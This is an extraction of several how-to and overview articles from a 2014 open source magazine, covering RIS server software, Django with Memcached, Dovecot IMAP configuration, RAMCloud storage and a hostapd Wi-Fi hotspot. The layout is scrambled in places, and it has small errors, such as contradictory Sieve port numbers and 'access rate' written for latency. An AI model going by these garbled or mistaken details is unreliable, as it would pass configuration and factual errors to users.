The proxy server module of RIS enables efficient sharing of Internet access. It is based on the industry leading Squid. The RIS proxy server not only controls who is given access to the Internet, but also speeds up Internet access using caching methodology. The easy-to-use GUI allows admins to create groups of users and give them specific permissions to browse the Internet. It provides functionality like site restrictions, IP restrictions, user restrictions and time restrictions for Internet browsing. Reports on who is using what can be generated. RIS uses SARG to generate reports for each individual user of the Internet.

Web server

RIS includes the Apache Web server, which is one of the most secure Web servers in the industry. With support for dynamic pages using PHP, servlets, JSP and CGI scripts, this can be used to build complex intranet and Web-based applications. A default intranet page containing various useful links is installed with RIS. This can be customised to suit your requirements, and a complete dynamic intranet (possibly with workflow) can be implemented with the existing LAMP stack bundled with RIS.

File server

The file server module helps an organisation to store files centrally for easy back-up as well as maintenance. Based on Samba, RIS has implemented file servers with access control lists, which ensure that files can only be accessed by authorised users.

Audio-video conferencing

Rainmail’s conferencing module helps provide the audiovideo conferencing facility for users in an organisation. Users can send conference invitations to multiple people within and outside the organisation. This module enables sharing messages on a whiteboard, text chatting with a group, and uploading and sharing documents. To experience the Rainmail conference facility, the following system requirements must be met on client desktops too:

Admin

Adobe Flash Player Speakers/headsets Web cam Microphone The conference application also provides the option for text-based chat.

Firewall

The firewall module provides the first defence against network attacks. Based on the iptables module provided in the Linux kernel, RIS provides support for DMZ, support for close/open ports from the outside world, for custom firewall rules, and for NAT, SNAT and DNAT.

Anti-virus protection

The built-in anti-virus module provides protection against viruses that come in through email. With automatic weekly updates and manual emergency updates, and the capability to detect exe, scripts, macros and a wide variety of viruses, RIS provides the most comprehensive email virus protection an organisation can get.

Bandwidth manager

The bandwidth manager modules help to regulate the Internet bandwidth available to users. Using this, an organisation can form groups and assign specific bandwidth to various users, ensuring certain minimum QoS (Quality of Service). In addition to the above applications, RIS has a single click back-up/restore facility, which ensures that there is minimal downtime. In case of hardware crashes, RIS can be brought up and running on new hardware (with all old applications, configuration and data) in as quickly as 30 minutes, using this facility. RIS also ensures that most of the administrative functions are automated so that systems administrators can concentrate on other important things. Logs are automatically rotated, and virus pattern files are automatically downloaded and updated. This Linux-based application can work as complete software for the network infrastructure requirements of an enterprise, under one roof. If you are an experienced Linux administrator, you can always put together a solution by installing and configuring the software at your premises. However, this can typically take at least two to three days, when done manually. Also, you have to refer to the documentation available on the Internet to configure and set up all individual components. RIS is a solution that addresses all your requirements regarding installation and initial configuration, and can be set up in less than an hour. It comes in a CD and includes an easy-to-use GUI-based installation, which ensures that users can install the software themselves. For more information on the product, visit http://www.carizen.com. By: OSFY Lab

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 71

How To

n g a j o D web g n i h Memcac sit c a ith hed e w

Admin

Django is an open source Web application framework written in Python. When used in conjunction with Memcached, it dramatically improves the performance of heavily used websites and reduces database access. Read on to learn how to set up and configure Memcached for a Django website.

oes your Django website’s performance slow down due to heavy loads or a series of requests and responses between the client and the Web server that hosts the requested site? Or do you wish you could handle your medium or high-traffic Django websites better? In which case, what you probably need is a caching system, or a Web caching system.

Web caching

is the most efficient type of cache available to Django. It runs as a daemon and can share cache over multiple servers. Therefore, even when running the daemon over multiple machines, it still acts as a single cache.

Memcached installation 1. apt-get install memcached 2. apt-get install python-memcache

Web caching means storing a copy of Web objects, new to the user, that would otherwise be slower to access/generate. Examples of some Web objects are Web pages (the HTML itself), images in Web pages, etc. Doing this will reduce bandwidth needs and costs, while also reducing the load on the website server.

The first command installs Memcached and the second one installs the Python API for communication between the application and the Memcached daemon. Memcached runs on Port 11211 on localhost (127.0.0.1) with default configuration. This configuration can be modified in the file / etc/memcached.conf

Memcached

Configuring Django

Memcached is a memory-based caching (mem - cached) system with a specific amount of RAM allocated to it. This 72 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

The cached data stays in the memory. The setting.py file has to be modified.

How To

Admin

For 1.2.5 and prior Django versions, the following code should be added in your settings file (settings.py):

takes cache timeout in seconds as the argument (here is an example, in which we take 20 minutes as cache timeout):

CACHE_BACKEND = 'memcached://127.0.0.1:11211/'

from django.views.decorators.cache import cache_page @cache_page(60 * 20 ) def my_view(request):

For 1.3 and development versions, add the following: CACHES = { 'default' : { 'BACKEND' : 'django.core.cache.backends.memcached. MemcachedCache', 'LOCATION' : '127.0.0.1:11211', } }

Start using Memcached

From an entire website to a very tiny byte of data, almost anything can be cached. The cache in Django lets you get, add, set and delete things in the cache, referenced by a ‘key’. A mechanism to delete the copy once it is expired or outdated is created by setting the TIMEOUT parameter. Caching an entire website: This can be achieved by adding django.middleware.cache.UpdateCacheMiddleware and django.middleware.cache.FetchFromCacheMiddleware to MIDDLEWARE_CLASSES in the settings.py file. Note: Remember that ‘update’ middleware must be first in the list, and the ‘fetch’ middleware must be last. This is the simplest way, but the least preferred. The reason lies in the definition of caching itself. We only intend to save the results of expensive calculations so that they need not be performed the next time. Caching unnecessary things will result in an evil hack. View cache: View is a Python function that takes a Web request and returns a Web response. Either the entire view or any part of it can be cached. Here, the value corresponding to the key is requested in the cache { cache.get() } and is returned if found; else, executing the code generates the result and it gets stored in the cache. from django.core.cache import cache def my_view(request): cache_key = 'my_view_cache_key' cache_time = 1800 #time to live in seconds result = cache.get(cache_key) if not result: result = # some calculation for the view cache.set(cache_key,result,cache_time) return result

A more simple way is by using the decorator’s cache_ page that will automatically cache the view’s response. It

Template fragment caching: This is suitable if there is heavy processing in the template. The cache tag can be used, passing minimum parameters, as follows: {% load cache %} {% cache timeout key %} ….. //code that is to be cached {% endcache %}

Verify the working of Memcached

Inspect the content of the cache using the Django shell: A pair of key-values is stored in the cache and we try retrieving the value from the cache corresponding to the key: # python manage.py shell >>> from django.core.cache import cache >>> cache.set('test', 'test value') >>> 'test' in cache True >>> cache.get('test') 'test value'

There are more ways, including telnet, to verify the workings of the cache. As you have seen from the above examples, using Memcached with Django is very easy, but it is required that you cache the right data. Using it wrongly will give a negative result. To use Memcached effectively, just ponder over the following questions: 1) What is to be cached? 2) For how long is it to be cached? 3) Is it necessary to cache? The answers will help you to improve your website’s performance. References [1] http://www.djangobook.com/en/2.0/chapter15.html [2] http://memcached.org/

By: Avani M Lodaya The author is interested in Web development, Web designing and database design. She is a FOSS enthusiast and is also interested in contributing to open source. She has been working on developing Django for over eight months. You can reach her by email at avani9330@gmail.com

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 73

Admin

How To

Setting up Dovecot, the IMAP Server A mail server is a computer on the network that acts as a virtual post office for emails. In the previous article published in February 2014, the author had explained how to set up an email server on Gentoo Linux using Postfix and Dovecot. This part guides readers on how to configure Dovecot, the IMAP server.

n Gentoo (and probably every other distro), details about Dovecot configuration are available in /etc/dovecot. The directory contains a few files and a conf.d directory for extra configuration of various aspects of the server. The configuration files are well documented with comments. The main dovecot.conf file is something like this:

protocols = imap lmtp listen = <ip>, 127.0.0.1 login_greeting = ABC mail service verbose_proctitle = yes shutdown_clients = yes !include conf.d/*.conf

The protocols line specifies the protocols it must serve. It's been set to LMTP and IMAP. LMTP, as described in the first article in this series, is the local mail delivery protocol used by Postfix to transfer mails to Dovecot. You can add one more protocol there—the traditional POP3. But in the age of mobile devices and easily accessible email, I don't think anyone really uses POP3 as it involves downloading everything to a single machine. You should put your public IP and localhost there. If you want to offer only a Web mail service, you can leave out the public IP. Dovecot must listen on 127.0.0.1 because that's where our Web mail client (Roundcube) will connect. We'll look into the configuration of Roundcube later. The login greeting is nothing specific, so use anything you 74 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

like. It is a protocol level greeting message, which is not seen or shown by most (or all) clients that interact with a mail server. Verbose proctitle: As the documentation in the configuration file says, the verbose_proctitle option shows mailbox information in process names in ps (the process status command), which is automatically available in tools like top/htop. In a virtual mail setup, it will be hard to distinguish the load offender when only the username and IP is shown. I recommend enabling this. Shutdown clients: This is a rather debated setting— whether or not Dovecot should kill client connections when the master process shuts down. If this is enabled, for a short period of time during upgrade, the mail server will be unavailable. If it is disabled, it will be available throughout—but existing processes (open connections) will not get the update. What happens if a security fix is missed out as a result? I prefer security to availability, so recommend that this is enabled. Now, in the same directory, we have dovecot-sql.conf.ext. In this file, Dovecot is configured to access the SQL database. The same connection configuration (only the connect option) must be specified in the beginning of dovecot-dict-sql.conf as well (which is used for expire and quota plugins). driver = pgsql connect = host=/run/postgresql dbname=mail user=mail password=<password> default_pass_scheme = SHA512-CRYPT password_query = SELECT * FROM active_users_passdb WHERE user

How To = '%u'; user_query = SELECT * FROM active_users_userdb WHERE user = '%u'; iterate_query = SELECT user FROM active_users_userdb;

default_pass_scheme: This is the default password hashing method to be used. SHA512-CRYPT is the highest possible algorithm supported by Dovecot on most Linux distributions at the time of writing this. It supports BLFCRYPT as well, which uses the highly secure BCRYPT algorithm, but that requires a patched glibc installation. password_query – The SQL query that Dovecot must use to authenticate a user. user_query – The SQL query for fetching user information. iterate_query – The SQL query for pre-fetching users. This is used by Dovecot when we run the mail indexer. Authentication configuration: This is done in conf.d/10auth.conf. disable_plaintext_auth = yes auth_mechanisms = plain login !include auth-sql.conf

PLAIN and LOGIN are the most commonly used authentication mechanisms. With the first option, plaintext authentication over cleartext (non-encrypted connection) is disabled. You can enable it if needed. In auth-sql.conf, we just need the following:

Admin

storage formats like mbox and maildir. mail_plugins enables various plugins for all the protocols. Logging can be configured in 10-logging.conf. Configure it according to your needs. But temporarily, while the server isn't ready for production yet, enable the following options: log_path = syslog auth_debug = yes auth_verbose = yes mail_debug = yes

This will help in debugging any issues with Dovecot. If you don't have syslog, you can set it to a filename. In 10-master.conf, ports and protocol mapping are configured: service imap-login { inet_listener imap { port = 143 ssl = no } inet_listener imaps { port = 993 ssl = yes } service_count = 0 vsz_limit = 256M }

passdb { driver = sql args = /etc/dovecot/dovecot-sql.conf.ext } userdb { driver = prefetch } userdb { driver = sql args = /etc/dovecot/dovecot-sql.conf.ext }

In 10-mail.conf there are various settings to be configured, but the most important ones are: mail_location = mdbox:/var/vmail/%d/%n mail_privileged_group = vmail mail_fsync = optimized mail_plugins = expire fts fts_lucene quota trash virtual

mail_location sets the path on the filesystem to store emails. Mdbox is a format created by Dovecot itself to overcome performance related and other issues with old

service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix user = postfix mode = 0600 } } service auth { unix_listener auth-userdb { mode = 0600 user = vmail group = vmail } unix_listener /var/spool/postfix/private/auth { mode = 0660 user = postfix group = postfix } user = dovecot }

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 75

Admin

How To

service dict { unix_listener dict { mode = 0660 user = vmail group = vmail } }

Let Dovecot listen on Port 143 for cleartext connections. There's no point in encrypting for clients connecting from the same machine (the Web mail client, i.e., Roundcube). You can block the plaintext Port 143 using iptables so that nobody from the Internet connects via the cleartext protocol. The service LMTP and service auth are interesting parts in the above configuration. In the LMTP section, Dovecot is configured to listen for LMTP connections at a UNIX socket path. We'll use the same path in Postfix configuration –- it tells Postfix where to deliver the mails via LMTP. Postfix is the SMTP server, but we need user authentication. Postfix must be configured to use Dovecot's authentication mechanism because we are storing encrypted passwords in the database. Postfix supports Dovecot-SASL. For the same reason, we have configured the Dovecot service auth to listen on a UNIX socket for connections. In 15-lda.conf, we need the following settings: recipient_delimiter = + lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes protocol lda { mail_plugins = $mail_plugins sieve }

In the first article in this series, we had created a function sender_bcc_map which outputs username+Sent@domain for input username@domain. In the above configuration, the recipient_ delimiter option specifies that the email address should be split by +, and the part after + should to be treated as the destination folder name. This is something similar to Gmail wherein we can use any number of email aliases, but everything gets delivered to the inbox and filters need to be set up manually. Our mail server does the filtering automatically. The Sieve plugin is loaded for the LDA protocol –- it cannot operate on other protocols. Sieve is the RFC defined standard language for mail filtering. In 20-imap.conf, we need to load the anti-spam plugin, as follows: protocol imap { mail_plugins = $mail_plugins antispam }

Similarly, in 20-lmtp.conf, load the Sieve plugin for the 76 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

LMTP protocol. The ManageSieve protocol configuration titled 20-managesieve.conf is as follows: protocols = $protocols sieve service managesieve-login { inet_listener sieves { port = 4190 ssl = yes } inet_listener sieve { port = 4191 ssl = no } service_count = 0 vsz_limit = 256M }

This instructs Dovecot to enable the ManageSieve protocol, with which users configure Sieve filter scripts by themselves. This is required if you want the user to be able to configure filters using Roundcube or other Web mail clients and/or desktop clients like Thunderbird. Since security is important, we'll use two ports for Sieve. The new standard for Sieve says that it is on Port 4191, so it should be open to the public and have SSL. The other port, 4191, will be used for local Web mail client connections. Coming to the plugin settings in 90-plugin.conf, we need to configure four plugins -– Fulltext Lucene Search, Trash, Expire and Antispam: plugin { fts = lucene fts_lucene = whitespace_chars=@. trash = /etc/dovecot/dovecot-trash.conf.ext expire = Trash expire2 = Trash/* expire3 = Junk expire4 = Junk/* expire_dict = proxy::expire antispam_backend = spool2dir antispam_allow_append_to_spam = yes antispam_spam = Junk antispam_trash = Trash antispam_spool2dir_spam = /var/lib/dovecot/antispam/ spam/%%lu antispam_spool2dir_notspam = /var/lib/dovecot/antispam/ ham/%%lu }

The trash plugin is useful when quotas are enabled – it will automatically delete messages from folders when a new

How To incoming message cannot be saved because it exceeds the quota. In dovecot-trash.conf.ext you can configure the priority and folder name it should delete. First, the lower priorities are deleted. The Expire plugin helps in running a cron job for deleting old emails from the Trash and Junk folders. You can read more about this at http://wiki2.dovecot.org/Plugins/Expire We'll be using SpamAssassin for filtering spam and, in fact, Antispam does have a SpamAssassin backend. But when I was setting up the server, the SpamAssassin mode didn't work properly and it kept causing crashes. The spool2dir backend copies an email to the specified folders when it is marked as spam or ham (not spam) by a user. This enables us to have a learning-filter kind of setup, where SpamAssassin learns from user activity. We'll look at how to set up SpamAssassin to learn about the mails from those directories when we configure SpamAssassin. The Quota plugin backend needs to be configured in 90-quota.conf: plugin { quota = dict:User quota::proxy::quota }

We use the SQL database, so specify the user dictionary. In order to properly filter incoming spam, we need a Sieve filter that executes before all filters. SpamAssassin marks emails with a special spam header. The Sieve filter will check every incoming mail for the header and, if required, move the mail accordingly to the spam folder. Sieve configuration titled 90-sieve.conf is given below: plugin { sieve_before = /var/lib/dovecot/sieve/before/ recipient_delimiter = + }

In 10-auth.conf, we included auth-sql.conf. The passdb and userdb of Dovecot need to be configured to use our SQL configuration: passdb { driver = sql args = /etc/dovecot/dovecot-sql.conf.ext } userdb { driver = prefetch } userdb { driver = sql args = /etc/dovecot/dovecot-sql.conf.ext }

Admin

That's it! Dovecot configuration is now complete. So let's create a domain and a user in our database. First, we need to encrypt the password of the user before insertion. For this, we'll use Dovecot's doveadm utility: doveadm pw -s SHA512-CRYPT Enter new password: Retype new password: {SHA512-CRYPT}$6$zK6YFoQ/Axi8jlaw$Vbp0n69fBCp6bVE2lNVmrjRmYZr AA5nb1mwgwinRO1iWSe/i.q9sWTO1qw62eEdLY0MLzlgRJFEYMtFYrXSY4/

The part after {SHA512-CRYPT} in the output is the hash to be inserted in the database. psql mail mail=# insert into domains (name) values ('accessiblehawk. com'); mail=# select * from domains; mail=# insert into users (domain_id, name, password, quota_kbytes) values (1, 'nilesh', '$6$zK6YFoQ/Axi8jl aw$Vbp0n69fBCp6bVE2lNVmrjRmYZrAA5nb1mwgwinRO1iWSe/i. q9sWTO1qw62eEdLY0MLzlgRJFEYMtFYrXSY4/ ', 0);

We can now test the server using Telnet: # telnet localhost 143 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE STARTTLS AUTH=PLAIN AUTH=LOGIN] mail. accessiblehawk.com Accessible Hawk E-Mail Service 1 LOGIN nilesh@accessiblehawk.com foo 1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS SPECIAL-USE BINARY MOVE SEARCH=FUZZY NOTIFY] Logged in 2 LOGOUT * BYE Logging out 2 OK Logout completed. Connection closed by foreign host.

In the next part in this series of articles, we'll look at how to configure Postfix and other parts. By the way, I've deleted my account on the server, so don't attempt a login with the password ‘foo' ;-) By: Nilesh Govindrajan The author is a student of engineering in Pune and co-founder of Accessible Hawk, a company dealing with Web hosting, email and virtual machine services. He can be contacted at me@ nileshgr.com or @nileshgr on Twitter. www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 77

Admin

Overview

RAMCloud: The Future of Storage Systems In RAMCloud, data is stored in the DRAM of thousands of computers in a data centre. RAMCloud offers quick and reliable recovery even though terabytes of data may be stored in the system.

oday, the amount of data generated on the Internet is enormous. An application like Facebook needs to deal with petabytes or terabytes of data without compromising its performance. RAMCloud is a next generation storage system that can deliver high performance with the help of just commodity hardware, even at current levels of storage complexity. It stores data entirely in DRAM (main memory), and the disk takes the role of backup or archival storage. Since the data always resides in the main memory, it can avoid the access latency that is usually incurred in a disk-based storage system and, hence, provides high throughput, which is the key to better performance.

The current scenario

For the past four decades we have seen rapid growth in computer hardware technologies, which has helped improve the efficiency of storage systems. The processor, memory and disk play an important role in the performance of a storage system. Currently, an imbalance in the performance of any one of these components can impact the whole system. 78 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Though there has been tremendous improvement in the performance of both memory and processor, the disk has not been able to keep pace. Disk capacity has increased by more than a thousand times, but the transfer rate for large blocks has improved only fifty-fold, while seek time and rotational latency have only improved two-fold. Large applications like Facebook and Amazon require multiple access points to storage servers to generate a single page. Due to the high access rate the performance of these applications is reduced. Applications use cache to overcome disk latency, but cache must have an exceptionally high hit rate to provide significant performance improvement. Even a 1 per cent cache miss can severely affect the system’s performance, which is not acceptable for some applications. Flash memory is another storage system that offers latency lower than disk. But Flash devices are I/O devices, so apart from the access latency, they have additional latencies of device drivers and interrupt handlers. These shortcomings of current storage systems demand a new improved storage approach.

Overview An overview of RAMCloud

RAMCloud is a storage system that stores data in the DRAM of thousands of servers within a data centre, as shown in Figure 1. Since the information is kept in the DRAM at all times, the access rate is very low, and provides 100-1000x lower latency than disk-based systems and 100-1000x greater throughput. Most Web applications grow over a period of time and will require more servers to store their data. RAMCloud will scale automatically to support the growing number of servers added to the system. RAMCloud uses DRAM, which has volatile memory, i.e., the data is lost when the power is removed. However, applications require storage systems to provide a high level of data durability and availability. RAMCloud uses a technique called buffered logging to maintain durability. In this approach, a single copy of each data object is stored in the DRAM of a primary server on the disks of two or more backup servers; each acts as both primary and backup server. When a write operation is performed, the primary server updates its DRAM and forwards log entries to the backup servers, where they are stored temporarily in the DRAM of the backup server. The backup server collects log entries into batches that can be written efficiently to a log on disk. Once log entries have been written to disk they can be removed from the backup's DRAM. Buffered logging allows both reads and writes to proceed at DRAM speeds while still providing durability. Power failures can be handled by committing each write operation to a stable storage.

The data model

The data model for a storage system governs how data is collected, stored, integrated and put to use. There are three main factors that we need to decide on, prior to selecting the type of data model: The nature of the basic objects stored in the system. How basic objects are organised into higher-level structures; for example, we can either just have key-value pairs or some sort of aggregation. Select the methods for naming and indexing of objects when retrieving or modifying objects. The two common types of data models are the highly structured relational data model and the unstructured data model. RAMCloud prefers an intermediate approach where servers do not impose structure on data but do support aggregation and indexing. It supports any number of tables, each stores multiple objects and these objects are stored as simple key-value pairs. It also provides a simple set of operations for creating and deleting tables, and for reading, writing and deleting objects within a table.

Research challenges

Numerous challenges need to be fixed for RAMCloud

Admin

1000 – 100,000 Application Servers Appl.

Appl.

Library

High-speed networking:  

Datacenter Network

Commodity Servers

5 µs round-trip Full bisection Bandwith

Coordinator

Master

Backup

32-256 GB Per server

1000 – 100,000 Storage Servers

Figure 1: RAMCloud architecture

Figure 2: Buffered logging

to be implemented successfully. Given below is a short description of various challenges that researchers are trying to solve. Consider the applications that use TCP/IP protocol - they have round-trip times for remote procedure calls and high latency in network switches. Also, the flow oriented feature of TCP is of little use to RAMCloud, since individual requests will be relatively small. To improve overall latency, we can either modify or replace the TCP protocol with a UDP protocol. An increasing number of applications are using virtualisation for greater portability. This increases the overheads, since an incoming packet will now need to pass through the virtual machine monitor and a guest operating system before reaching the application, thereby increasing the overall latency. So we need techniques like passing packets directly from the virtual monitor to the application to reduce this overhead. RAMCloud is implemented by using a large number of servers, but the applications that use them, must see this as a single storage system, i.e., the application must be oblivious to the distribution of the storage system. The primary issue in the distribution and scaling of the system is data placement. An object may be required to be moved to another server to improve the performance. This data movement needs to www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 79

Admin

Overview

happen automatically and in real time. A single RAMCloud system can be used to support multiple applications of varying sizes. It should provide a security mechanism to support mutual hostile applications. Also, one application with a very high workload must not degrade the performance of other applications. Finally, RAMClouds must manage themselves automatically. There are thousands of servers, each using hundreds of peers, which makes the overall design too complicated to be handled by humans.

Why use RAMCloud?

We believe there are two main motivations for using RAMCloud.

Application scalability

Most Web applications use relational databases to store their data. As the application grows, it becomes difficult to store the entire data in a single relational database. Applications then use other techniques to manage their data. A popular technique is ‘Ad-hoc’, where data is partitioned among multiple databases. As the application grows larger, maintaining consistency among multiple databases becomes increasingly difficult and requires more complex techniques to overcome these issues. Another storage technique is ‘Bigtable’, which is built on top of a Google file system. Because of the distributed nature of a Bigtable database, performing certain database operations like a join between two tables would be terribly inefficient. On the other hand, RAMCloud will automatically scale to support the increasing number of storage servers used by an application.

The technology

The disk is used as a primary storage system for Web applications. Accessing large blocks at one time from a disk may be beneficial when compared to accessing small blocks. However, most forms of online data, such as images and songs, do not comprise large blocks. So the latency for accessing the smaller more frequent blocks of memory is high. Large Web applications need to make multiple internal requests to generate a single HTML page. So we need to consider the cumulative latency of all the requests while considering the overall response time to users. One of the major advantages of RAMCloud over the diskoriented approach is that it can dramatically reduce the access latency of a request and, thereby, reduce the overall response time. RAMCloud also supports a new class of data-intensive applications, which process data in large volumes—typically, in terabytes.

80 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

The pros and cons

Here are some of the pros and cons of using RAMCloud.

The pros

1. Since all the information is stored in DRAM, RAMCloud provides high throughput. 2. RAMCloud automatically scales to support a large number of storage servers and eliminates the scalability issues in applications. 3. It provides high level of data durability and availability. 4. The cost of storing data on DRAM today is the same as storing data on a disk ten years ago. 5. RAMCloud supports a log-structure similar to a log structured file system for all its data on DRAM as well as on disk. This provides fast crash recovery. 6. RAMClouds are 100-1000x more efficient than disk-based systems in terms of cost per operation or energy per operation.

The cons

1. It involves a higher cost/bit and high energy/bit, so RAMCloud storage will be 50-100x more expensive than a pure disk-based system. 2. Maintaining consistency for applications that require replication across data centres is very difficult. With the growth of large scale Web applications, there has been a need for alternative disk storage technologies. Both Google and Yahoo store their search indices entirely in DRAM. The Bigtable storage system allows entire column families to be loaded into memory, where they can be read without any disk accesses. We believe that RAMCloud is a long-term solution for the storage needs of Web applications. RAMCloud provides durability and very low latency. Hence, it enables richer query models and is attractive for technologies like cloud computing. It is able to aggregate the resources of a large number of commodity servers. However, a lot of research needs to be done and numerous challenges must be overcome in order to use this technology. References [1] https://ramcloud.stanford.edu [2] http://www.stanford.edu/~ouster/cgi-bin/papers/ramcloud.pdf

Acknowledgements I would like to thank Dr John Ousterhout, professor of Computer Science at Stanford University. He is the lead at the RAMCloud project at Stanford University. I would also like to thank my mentor and all the people who helped me to review this article.

By: Sakshi Bansal The author is in her fourth year of the Computer Science and Engineering bachelors’ degree at Amrita Vishwa Vidyapeetham, Amritapuri. She is a FOSS enthusiast and an active member of the Amrita FOSS club, having made contributions to various open source projects such as Mozilla Thunderbird, Mediawiki, etc. She blogs at http://sakshiii.wordpress.com/.

How To

Open Gurus

This article walks readers through the process of setting up an Android-friendly hotspot.

et’s suppose you have a laptop and a phone, and you want to share your laptop's Internet connection with the phone (reverse tethering). You might think it's as simple as going to a network connection and creating a wireless connection. Unfortunately, it's not, because the hotspot created by laptops generally supports only two modes—Ad-Hoc and Infrastructure (which can be seen in Figure 1). Both these modes are not supported by most of the Android and Windows phones in the market. So let us go about creating an Android-friendly or a ‘phone-friendly’ hotspot. For this article, I’ll be using Ubuntu 12.04 LTS.

Installation

Let’s first install Hostapd from the Ubuntu software centre. If you prefer the command line, then just type the following command: sudo apt-get install hostapd

You can also download and compile Hostapd from source, from its site http://w1.fi/hostapd/. For other distributions, search for the package named hostapd in your repository. As explained in http://acx100.erley.org/git.html, Hostapd has the following levels in managing Wi-Fi and each level is explained as follows: “Wireless card: Should be self-explanatory... handles

sending/receiving wireless packets Linux kernel: The Linux kernel contains the driver for the wireless card, and the nl80211 sub-system, which handles the configuring of wireless interfaces for user space libnl: libnl is the transport layer used to communicate with the kernel via netlink udev: udev is the facility the kernel uses to pass events/calls to crda iw: iw is a userspace utility that we can use to test that libnl is working correctly, as well as to create additional virtual wireless interfaces on the wireless card crda: crda is a userspace program that the kernel queries (through udev) to find what channels/frequencies are usable, and at what powers. This moves the information out of static tables maintained in the kernel to userspace, which allows them to be updated without reloading drivers or rebooting Wireless regulatory database: This is the database of allowable frequencies and transmit power levels used by crda Hostapd: This is the daemon that handles the generation of beacons and other wireless packets, as well as wpa-psk, wpa2, etc, encryptions.”

Checking your Wi-Fi card

Hostapd supports the following drivers: mac80211-based drivers with support for master mode [linux] Linux drivers that support nl80211/cfg80211 in AP mode www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 81

Open Gurus

How To

Host AP driver for Prism2/2.5/3 [linux] Driver interface for FreeBSD net80211 layer [kfreebsd] Any wired Ethernet driver for wired IEEE 802.1X authentication Now let’s check whether your Wi-Fi card is supported by Hostapd. Most commonly used Wi-Fi cards are supported in Hostapd, but just to be sure, we could check. First, check which kernel driver is used for your card, then type the following command: lspci -k | grep -A 3 -i "network" Network controller: Ralink corp. RT3290 Wireless 802.11n 1T/1R PCIe Subsystem: Hewlett-Packard Company Device 18ec

Kernel driver in use: rt2800pci Kernel modules: rt2800pci

The driver used by the kernel is rt2800pci. This will vary depending on your kernel and your Wi-Fi card. Now, let’s check the interface part, which will tell us whether our card is supported or not. Next, type the following command:

Figure 1: Types of wireless networks

modinfo rt2800pci | grep ‘depends’

…replacing driver with your appropriate one, which in my case is rt2800pci. This will vary depending on your Wi-Fi card. In my case, it is: rt2x00lib,rt2800lib,rt2x00pci,compat,eeprom_93cx6

Check each interface with the compatibility list either by checking if your interface satisfies one of the conditions required by Hostapd or by ‘googling’ with the keyword ‘interface_name hostapd’. You might get some clue if one or more interfaces match with the list needed by Hostapd—then you are good to go. Otherwise, cross your fingers and give it a try by configuring it as explained below.

Configuration

Now, let’s create a configuration file named test.conf with your favourite text editor in your home directory. Lines starting with # are just comments to explain the configuration; you can skip them while writing the configuration file: # sets the wifi interface to use, is wlan0 in most case interface=wlan0 # driver to use, nl80211 works in most cases driver=nl80211 # Choose suitable name for SSID, or simply the name of your wifi as visible on list of networks ssid=Put_your_desried_name_here # sets the mode of wifi, depends upon the device used, can be 82 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Figure 2: Creating a New Wireless Connection a,b,g,n. g ensures backward #compatibility. hw_mode=g # sets the channel for your wifi , 11 will work fine for most of the people channel=11 #####Sets WPA and WPA2 authentication , they are stronger than WEP##### #wpa option sets which wpa implementation to use #1 - wpa only #2 - wpa2 only #3 - both wpa=3 # sets password for the access point, choose a strong one :) wpa_passphrase=Put_here_your_desired_password # sets wpa key management wpa_key_mgmt=WPA-PSK #sets encryption used wpa_pairwise=TKIP CCMP # Rekeys after 10 minutes,if there is interference, the wifi

How To

Open Gurus

Figure 5: Connection details of your device shown by Hostapd Figure 3: Preferences of New Network

This command will invoke Hostapd with options specified by the configuration file named test.conf (which we created earlier). It will make a hotspot on the specified interface, wlan0, at the MAC address of your Wi-Fi card, as shown in Figure 4. Now, try to connect your phone by specifying the necessary arguments. As soon as your phone tries to connect, you will see your device’s MAC address along with its status, which would be something like what’s shown in Figure 5.

Figure 4: Hostapd running connection between AP and laptop will #break. For CCMP, during rekeying, there is a break of approximately 10 seconds which may #be the time for random key generation and reconnection. #If you face any error you can skip the last option, but will work in most cases flawlessly wpa_ptk_rekey=600 # For more options refer to manual pages or Hostapd Website http://w1.fi/hostapd/

Testing

We are now almost done but we need to create some arrangements. Using the command line would take a long time. The easy way would be to create a normal Ad-Hoc Wi-Fi hotspot (SSID not mandatory) to be the same as for Hostapd. Creating an Ad-Hoc hotspot is as easy as going to Network Connections, and then creating a New Wireless Connection. Choose the SSID and key of your choice, because it doesn’t matter, as this will be overridden by the WPA security of Hostapd. In my case, the key is named Hotspot. After getting the notification that a successful connection has been established, fire up the terminal and type the following command: sudo hostapd test.conf

Note: 1. Users have to first create an Ad-Hoc network, before issuing the Hostapd command. Run the Hostapd command with sudo or with root privileges. 2. It would also help you to track who is connected to your network. MAC address filtering can be set up by just adding the following line: #macaddr_acl sets options for mac address filtering. 0 means "accept unless in deny list" macaddr_acl=0

References [1] http://acx100.erley.org/git.html—for an explanation of how Hostapd manages Wi-Fi and an understanding of each component in the level. [2] httpnims11.wordpress.com/2012/04/27/hostapd-the-linux-wayto-create-virtual-wifi-access-point/—For an understanding of the rest of the process [3] http://w1.fi/hostapd/ [4] https://bugs.archlinux.org/task/27406 —for an explanation of the errors associated with wpa_ptk_rekey=600

By Jatin Dhankhar The author is crazy about computers and loves to learn anything that is related to them. Besides computers, he loves science and cartoons. He can be reached at dhankhar.jatin@gmail.com

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 83

Open Gurus

Let's Try

